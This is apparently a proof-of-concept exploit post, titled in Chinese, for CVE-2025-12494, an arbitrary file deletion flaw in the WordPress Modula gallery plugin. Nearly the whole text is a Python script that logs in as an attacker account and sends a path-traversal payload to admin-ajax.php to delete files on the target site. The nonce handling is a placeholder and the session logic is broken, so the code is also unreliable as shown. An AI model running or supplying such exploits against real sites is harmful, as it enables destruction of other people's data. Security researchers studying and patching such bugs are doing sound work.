CVE-2025-12494 WordPress Modula插件任意文件删除漏洞

import requests import sys from urllib.parse import quote # CVE-2025-12494 PoC - Modula Best Grid Gallery Arbitrary File Deletion # Author: Security Researcher # Target: WordPress with Modula Best Grid Gallery plugin <= 2.12.28 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def get_nonce_and_cookie(): """Get WordPress nonce and authentication cookie""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() # Login to WordPress login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/", 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed!") return None, None print("[+] Login successful!") # Get nonce for AJAX request admin_url = f"{TARGET_URL}/wp-admin/admin.php?page=modula" admin_response = session.get(admin_url) # Extract nonce from page source nonce_match = str(admin_response.text).find('modulaImportImages') if nonce_match == -1: print("[-] Could not find nonce!") return None, None nonce = "extract_nonce_here" # Extract from actual response return session.cookies.get_dict(), nonce def exploit_arbitrary_file_deletion(session, cookies, nonce): """Exploit the arbitrary file deletion vulnerability""" ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Target file to delete - using path traversal malicious_path = "../../../wp-content/uploads/2024/01/innocent-image.jpg" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Referer': f"{TARGET_URL}/wp-admin/" } # Malicious payload to delete arbitrary file payload = { 'action': 'modula_ajax_import_file', 'modula-import-images': nonce, 'import_file': malicious_path, 'gallery_id': '1' } print(f"[*] Sending malicious request to delete: {malicious_path}") response = session.post(ajax_url, data=payload, cookies=cookies, headers=headers) if response.status_code == 200: print("[+] Request sent successfully!") print(f"[*] Response: {response.text[:500]}") else: print(f"[-] Request failed with status: {response.status_code}") if __name__ == "__main__": cookies, nonce = get_nonce_and_cookie() if cookies and nonce: session = requests.Session() exploit_arbitrary_file_deletion(session, cookies, nonce)